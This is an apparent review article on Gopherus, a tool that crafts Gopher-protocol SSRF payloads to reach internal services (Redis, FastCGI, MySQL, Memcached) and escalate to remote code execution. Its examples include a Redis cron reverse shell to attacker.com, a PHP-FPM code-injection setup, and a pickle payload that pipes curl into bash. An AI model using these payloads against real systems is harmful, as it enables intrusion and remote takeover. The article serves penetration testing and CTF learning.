Back to Articles

Gopherus: Weaponizing a 1991 Protocol to Exploit Modern SSRF Vulnerabilities

[ View on GitHub ]

Gopherus: Weaponizing a 1991 Protocol to Exploit Modern SSRF Vulnerabilities

Hook

The Gopher protocol was declared dead in 1999, yet it remains one of the most dangerous vectors for escalating Server-Side Request Forgery (SSRF) vulnerabilities to Remote Code Execution in 2024.

Context

Server-Side Request Forgery has evolved from a curiosity to a critical vulnerability class, especially as microservices architectures expose more internal services behind API gateways. When developers implement features like "fetch URL preview" or "webhook callbacks," they often validate the protocol (blocking file:// or data://), check for private IP ranges, and call it a day. But there's a gap: many HTTP libraries still support Gopher, a relic from the pre-web internet that can speak raw TCP to any service.

The traditional SSRF exploitation workflow required deep protocol knowledge. Want to execute commands via Redis? You'd need to understand Redis's RESP protocol, manually encode newlines as URL components, handle CRLF injection, and pray your payload survives URL parsing. Want to exploit FastCGI? Better memorize binary packet structures. Gopherus emerged to industrialize this process, providing a menu-driven payload generator that handles the protocol minutiae. It's the difference between hand-crafting SQL injection strings and using sqlmap—both achieve the same goal, but one respects your time.

Technical Insight

Service type & params

Route to module

Redis commands

SQL queries

PHP execution

Other services

RESP protocol

MySQL protocol

FastCGI packets

Service-specific

Raw bytes

CRLF preservation

Output payload

Used in SSRF

Forwards request

Executes command

User Input

Gopherus Core

Service Modules

Redis Encoder

MySQL Encoder

FastCGI Encoder

Other Encoders

Protocol Formatter

Gopher URL Encoder

gopher://target:port/_payload

Vulnerable Server

Internal Service

Command Execution

System architecture — auto-generated

Gopherus's architecture is deceptively simple: it's a collection of Python modules, each encoding service-specific commands into Gopher URL format. The genius lies in understanding what Gopher actually does. Unlike HTTP, which has headers and structure, Gopher simply opens a TCP connection and sends whatever bytes follow gopher://host:port/ directly to the service. This makes it a universal adapter for text-based protocols.

Let's examine how it targets Redis, one of the most dangerous attack surfaces. Redis uses a simple text protocol where commands are newline-separated. To abuse an SSRF vulnerability to write a cron job via Redis, you'd normally need to craft something like this:

# What Gopherus generates for Redis shell exploitation
commands = [
    "flushall",
    "set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1\n\n'",
    "config set dir /var/spool/cron/",
    "config set dbfilename root",
    "save"
]

# Gopherus encodes this into:
# gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A...

The critical insight is the URL encoding layer. Each Redis command must be converted to RESP format (Redis Serialization Protocol), then URL-encoded with special attention to preserving CRLF sequences (%0D%0A). The leading underscore after the port is a quirk of how URL parsers handle Gopher—it gets stripped by most libraries, but ensures the payload starts correctly.

For FastCGI exploitation, Gopherus takes a different approach. FastCGI uses a binary protocol, so the tool constructs proper FastCGI packets with headers that trick PHP-FPM into executing arbitrary code:

# Gopherus builds FastCGI binary packets like this:
fastcgi_params = {
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

# The payload includes a malicious PHP script in the body
php_payload = '<?php system("{}); ?>'.format(user_command)

# Result: gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00...

What makes this particularly effective is the PHP_VALUE directive, which allows prepending code to any PHP file execution. Even if you can't write files directly, you can inject code into memory for that request.

The MySQL module showcases another clever technique—exploiting the text-based MySQL protocol to execute queries without authentication (on misconfigured servers). Gopherus crafts a login packet followed by a QUERY command packet:

# Simplified MySQL packet construction
def mysql_payload(query):
    # MySQL protocol: packet length + sequence ID + payload
    payload = "\x00" # sequence starts at 0
    payload += "\x03" # COM_QUERY command
    payload += query
    
    length = len(payload)
    packet = struct.pack('<I', length)[:3] + payload
    
    return url_encode_gopher(packet)

The tool's real power emerges when combined with SSRF vulnerabilities in cloud metadata services or internal admin panels. For instance, exploiting a Zabbix server via SSRF typically requires understanding Zabbix's API authentication flow, but Gopherus provides pre-built payloads that add malicious scripts directly to the database.

One underappreciated feature is the deserialization payload generation. For Memcached and Redis, Gopherus can create serialized objects in Python pickle, PHP, or Ruby Marshal formats. When applications cache session data or objects in these services, retrieving a malicious serialized payload can trigger code execution during deserialization:

# Python pickle payload for Memcached
import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('curl attacker.com/shell.sh|bash',))

payload = pickle.dumps(Exploit())
# Gopherus wraps this in Memcached SET command format

This transforms a "mere" SSRF into RCE by poisoning the cache, waiting for the application to retrieve and deserialize the object.

Gotcha

The elephant in the room: Gopher protocol support is dying fast. Modern cloud environments (AWS Lambda, Google Cloud Functions, Azure Functions) explicitly block Gopher in their HTTP client implementations. Even libcurl, the backbone of countless applications, disabled Gopher by default in version 7.76.0 (2021) due to security concerns. If your target is running recent dependencies or cloud-native infrastructure, Gopherus payloads will hit a wall before reaching the internal service.

Authentication is another major limitation. Gopherus assumes unauthenticated or default-credential access to internal services. Real-world environments increasingly use service meshes with mTLS, Redis with requirepass, MySQL with proper user management. The tool generates basic login attempts for some protocols, but can't handle OAuth flows, certificate authentication, or complex secret management. You'll spend more time bypassing authentication than exploiting the SSRF itself. Additionally, the payloads are templates—if your target runs a non-standard service version, uses custom configurations, or has security modules enabled (like SELinux blocking cron writes), you'll need to manually dissect and modify the generated Gopher URLs. There's no fuzzing capability, no automatic adjustment for different environments, and debugging URL-encoded binary protocols is an exercise in masochism.

Verdict

Use if: You're conducting authorized penetration tests against legacy applications or internal tools that haven't updated dependencies in 3+ years, you've confirmed Gopher protocol support through prior testing (check curl version and URL parser libraries), you're targeting rapid proof-of-concept exploitation for bug bounties where demonstrating impact matters more than stealth, or you're in a CTF/lab environment designed for SSRF practice. Skip if: Your target is cloud-hosted or uses modern containerized infrastructure (Gopher is almost certainly blocked), you need to maintain persistence or avoid detection (these payloads are loud and generate obvious logs), internal services require authentication beyond basic MySQL root-no-password scenarios, or you're dealing with non-standard service configurations that need custom protocol manipulation. For production security testing, treat Gopherus as a first-pass reconnaissance tool to identify what's exposed, then graduate to SSRFmap or manual exploitation for actual compromise.

// ADD TO YOUR README
[![Featured on Starlog](https://starlog.is/api/badge/developer-tools/tarunkant-gopherus.svg)](https://starlog.is/api/badge-click/developer-tools/tarunkant-gopherus)